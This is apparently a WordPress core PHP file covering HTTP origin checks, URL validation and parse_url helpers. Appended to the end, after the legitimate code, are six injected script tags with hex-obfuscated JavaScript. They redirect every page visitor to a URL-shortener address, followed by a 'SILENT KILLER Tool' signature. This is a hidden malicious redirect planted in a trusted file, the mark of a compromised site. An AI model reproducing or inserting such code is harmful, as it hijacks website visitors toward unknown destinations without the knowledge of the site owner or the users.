return apply_filters( 'http_origin', $origin );
}
/**
* Retrieves list of allowed HTTP origins.
*
* @since 3.4.0
*
* @return string[] Array of origin URLs.
*/
function get_allowed_http_origins() {
$admin_origin = parse_url( admin_url() );
$home_origin = parse_url( home_url() );
// @todo Preserve port?
$allowed_origins = array_unique(
array(
'http://' . $admin_origin['host'],
'https://' . $admin_origin['host'],
'http://' . $home_origin['host'],
'https://' . $home_origin['host'],
)
);
/**
* Changes the origin types allowed for HTTP requests.
*
* @since 3.4.0
*
* @param string[] $allowed_origins {
* Array of default allowed HTTP origins.
*
* @type string $0 Non-secure URL for admin origin.
* @type string $1 Secure URL for admin origin.
* @type string $2 Non-secure URL for home origin.
* @type string $3 Secure URL for home origin.
* }
*/
return apply_filters( 'allowed_http_origins', $allowed_origins );
}
/**
* Determines if the HTTP origin is an authorized one.
*
* @since 3.4.0
*
* @param string|null $origin Origin URL. If not provided, the value of get_http_origin() is used.
* @return string Origin URL if allowed, empty string if not.
*/
function is_allowed_http_origin( $origin = null ) {
$origin_arg = $origin;
if ( null === $origin ) {
$origin = get_http_origin();
}
if ( $origin && ! in_array( $origin, get_allowed_http_origins(), true ) ) {
$origin = '';
}
/**
* Changes the allowed HTTP origin result.
*
* @since 3.4.0
*
* @param string $origin Origin URL if allowed, empty string if not.
* @param string $origin_arg Original origin string passed into is_allowed_http_origin function.
*/
return apply_filters( 'allowed_http_origin', $origin, $origin_arg );
}
/**
* Sends Access-Control-Allow-Origin and related headers if the current request
* is from an allowed origin.
*
* If the request is an OPTIONS request, the script exits with either access
* control headers sent, or a 403 response if the origin is not allowed. For
* other request methods, you will receive a return value.
*
* @since 3.4.0
*
* @return string|false Returns the origin URL if headers are sent. Returns false
* if headers are not sent.
*/
function send_origin_headers() {
$origin = get_http_origin();
if ( is_allowed_http_origin( $origin ) ) {
header( 'Access-Control-Allow-Origin: ' . $origin );
header( 'Access-Control-Allow-Credentials: true' );
if ( 'OPTIONS' === $_SERVER['REQUEST_METHOD'] ) {
exit;
}
return $origin;
}
if ( 'OPTIONS' === $_SERVER['REQUEST_METHOD'] ) {
status_header( 403 );
exit;
}
return false;
}
/**
* Validates a URL for safe use in the HTTP API.
*
* Examples of URLs that are considered unsafe:
*
* - ftp://example.com/caniload.php - Invalid protocol - only http and https are allowed.
* - http:///example.com/caniload.php - Malformed URL.
* - http://user:pass@example.com/caniload.php - Login information.
* - http://example.invalid/caniload.php - Invalid hostname, as the IP cannot be looked up in DNS.
*
* Examples of URLs that are considered unsafe by default:
*
* - http://192.168.0.1/caniload.php - IPs from LAN networks.
* This can be changed with the {@see 'http_request_host_is_external'} filter.
* - http://198.143.164.252:81/caniload.php - By default, only 80, 443, and 8080 ports are allowed.
* This can be changed with the {@see 'http_allowed_safe_ports'} filter.
*
* @since 3.5.2
*
* @param string $url Request URL.
* @return string|false URL or false on failure.
*/
function wp_http_validate_url( $url ) {
if ( ! is_string( $url ) || '' === $url || is_numeric( $url ) ) {
return false;
}
$original_url = $url;
$url = wp_kses_bad_protocol( $url, array( 'http', 'https' ) );
if ( ! $url || strtolower( $url ) !== strtolower( $original_url ) ) {
return false;
}
$parsed_url = parse_url( $url );
if ( ! $parsed_url || empty( $parsed_url['host'] ) ) {
return false;
}
if ( isset( $parsed_url['user'] ) || isset( $parsed_url['pass'] ) ) {
return false;
}
if ( false !== strpbrk( $parsed_url['host'], ':#?[]' ) ) {
return false;
}
$parsed_home = parse_url( get_option( 'home' ) );
$same_host = isset( $parsed_home['host'] ) && strtolower( $parsed_home['host'] ) === strtolower( $parsed_url['host'] );
$host = trim( $parsed_url['host'], '.' );
if ( ! $same_host ) {
if ( preg_match( '#^(([1-9]?\d|1\d\d|25[0-5]|2[0-4]\d)\.){3}([1-9]?\d|1\d\d|25[0-5]|2[0-4]\d)$#', $host ) ) {
$ip = $host;
} else {
$ip = gethostbyname( $host );
if ( $ip === $host ) { // Error condition for gethostbyname().
return false;
}
}
if ( $ip ) {
$parts = array_map( 'intval', explode( '.', $ip ) );
if ( 127 === $parts[0] || 10 === $parts[0] || 0 === $parts[0]
|| ( 172 === $parts[0] && 16 <= $parts[1] && 31 >= $parts[1] )
|| ( 192 === $parts[0] && 168 === $parts[1] )
) {
// If host appears local, reject unless specifically allowed.
/**
* Checks if HTTP request is external or not.
*
* Allows to change and allow external requests for the HTTP request.
*
* @since 3.6.0
*
* @param bool $external Whether HTTP request is external or not.
* @param string $host Host name of the requested URL.
* @param string $url Requested URL.
*/
if ( ! apply_filters( 'http_request_host_is_external', false, $host, $url ) ) {
return false;
}
}
}
}
if ( empty( $parsed_url['port'] ) ) {
return $url;
}
$port = $parsed_url['port'];
/**
* Controls the list of ports considered safe in HTTP API.
*
* Allows to change and allow external requests for the HTTP request.
*
* @since 5.9.0
*
* @param int[] $allowed_ports Array of integers for valid ports.
* @param string $host Host name of the requested URL.
* @param string $url Requested URL.
*/
$allowed_ports = apply_filters( 'http_allowed_safe_ports', array( 80, 443, 8080 ), $host, $url );
if ( is_array( $allowed_ports ) && in_array( $port, $allowed_ports, true ) ) {
return $url;
}
if ( $parsed_home && $same_host && isset( $parsed_home['port'] ) && $parsed_home['port'] === $port ) {
return $url;
}
return false;
}
/**
* Marks allowed redirect hosts safe for HTTP requests as well.
*
* Attached to the {@see 'http_request_host_is_external'} filter.
*
* @since 3.6.0
*
* @param bool $is_external
* @param string $host
* @return bool
*/
function allowed_http_request_hosts( $is_external, $host ) {
if ( ! $is_external && wp_validate_redirect( 'http://' . $host ) ) {
$is_external = true;
}
return $is_external;
}
/**
* Adds any domain in a multisite installation for safe HTTP requests to the
* allowed list.
*
* Attached to the {@see 'http_request_host_is_external'} filter.
*
* @since 3.6.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param bool $is_external
* @param string $host
* @return bool
*/
function ms_allowed_http_request_hosts( $is_external, $host ) {
global $wpdb;
static $queried = array();
if ( $is_external ) {
return $is_external;
}
if ( get_network()->domain === $host ) {
return true;
}
if ( isset( $queried[ $host ] ) ) {
return $queried[ $host ];
}
$queried[ $host ] = (bool) $wpdb->get_var( $wpdb->prepare( "SELECT domain FROM $wpdb->blogs WHERE domain = %s LIMIT 1", $host ) );
return $queried[ $host ];
}
/**
* A wrapper for PHP's parse_url() function that handles consistency in the return values
* across PHP versions.
*
* Across various PHP versions, schemeless URLs containing a ":" in the query
* are being handled inconsistently. This function works around those differences.
*
* @since 4.4.0
* @since 4.7.0 The `$component` parameter was added for parity with PHP's `parse_url()`.
*
* @link https://www.php.net/manual/en/function.parse-url.php
*
* @param string $url The URL to parse.
* @param int $component The specific component to retrieve. Use one of the PHP
* predefined constants to specify which one.
* Defaults to -1 (= return all parts as an array).
* @return mixed False on parse failure; Array of URL components on success;
* When a specific component has been requested: null if the component
* doesn't exist in the given URL; a string or - in the case of
* PHP_URL_PORT - integer when it does. See parse_url()'s return values.
*/
function wp_parse_url( $url, $component = -1 ) {
$to_unset = array();
$url = (string) $url;
if ( str_starts_with( $url, '//' ) ) {
$to_unset[] = 'scheme';
$url = 'placeholder:' . $url;
} elseif ( str_starts_with( $url, '/' ) ) {
$to_unset[] = 'scheme';
$to_unset[] = 'host';
$url = 'placeholder://placeholder' . $url;
}
$parts = parse_url( $url );
if ( false === $parts ) {
// Parsing failure.
return $parts;
}
// Remove the placeholder values.
foreach ( $to_unset as $key ) {
unset( $parts[ $key ] );
}
return _get_component_from_parsed_url_array( $parts, $component );
}
/**
* Retrieves a specific component from a parsed URL array.
*
* @internal
*
* @since 4.7.0
* @access private
*
* @link https://www.php.net/manual/en/function.parse-url.php
*
* @param array|false $url_parts The parsed URL. Can be false if the URL failed to parse.
* @param int $component The specific component to retrieve. Use one of the PHP
* predefined constants to specify which one.
* Defaults to -1 (= return all parts as an array).
* @return mixed False on parse failure; Array of URL components on success;
* When a specific component has been requested: null if the component
* doesn't exist in the given URL; a string or - in the case of
* PHP_URL_PORT - integer when it does. See parse_url()'s return values.
*/
function _get_component_from_parsed_url_array( $url_parts, $component = -1 ) {
if ( -1 === $component ) {
return $url_parts;
}
$key = _wp_translate_php_url_constant_to_key( $component );
if ( false !== $key && is_array( $url_parts ) && isset( $url_parts[ $key ] ) ) {
return $url_parts[ $key ];
} else {
return null;
}
}
/**
* Translates a PHP_URL_* constant to the named array keys PHP uses.
*
* @internal
*
* @since 4.7.0
* @access private
*
* @link https://www.php.net/manual/en/url.constants.php
*
* @param int $constant PHP_URL_* constant.
* @return string|false The named key or false.
*/
function _wp_translate_php_url_constant_to_key( $constant ) {
$translation = array(
PHP_URL_SCHEME => 'scheme',
PHP_URL_HOST => 'host',
PHP_URL_PORT => 'port',
PHP_URL_USER => 'user',
PHP_URL_PASS => 'pass',
PHP_URL_PATH => 'path',
PHP_URL_QUERY => 'query',
PHP_URL_FRAGMENT => 'fragment',
);
if ( isset( $translation[ $constant ] ) ) {
return $translation[ $constant ];
} else {
return false;
}
}
ob_start();
?>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
SILENT KILLER Tool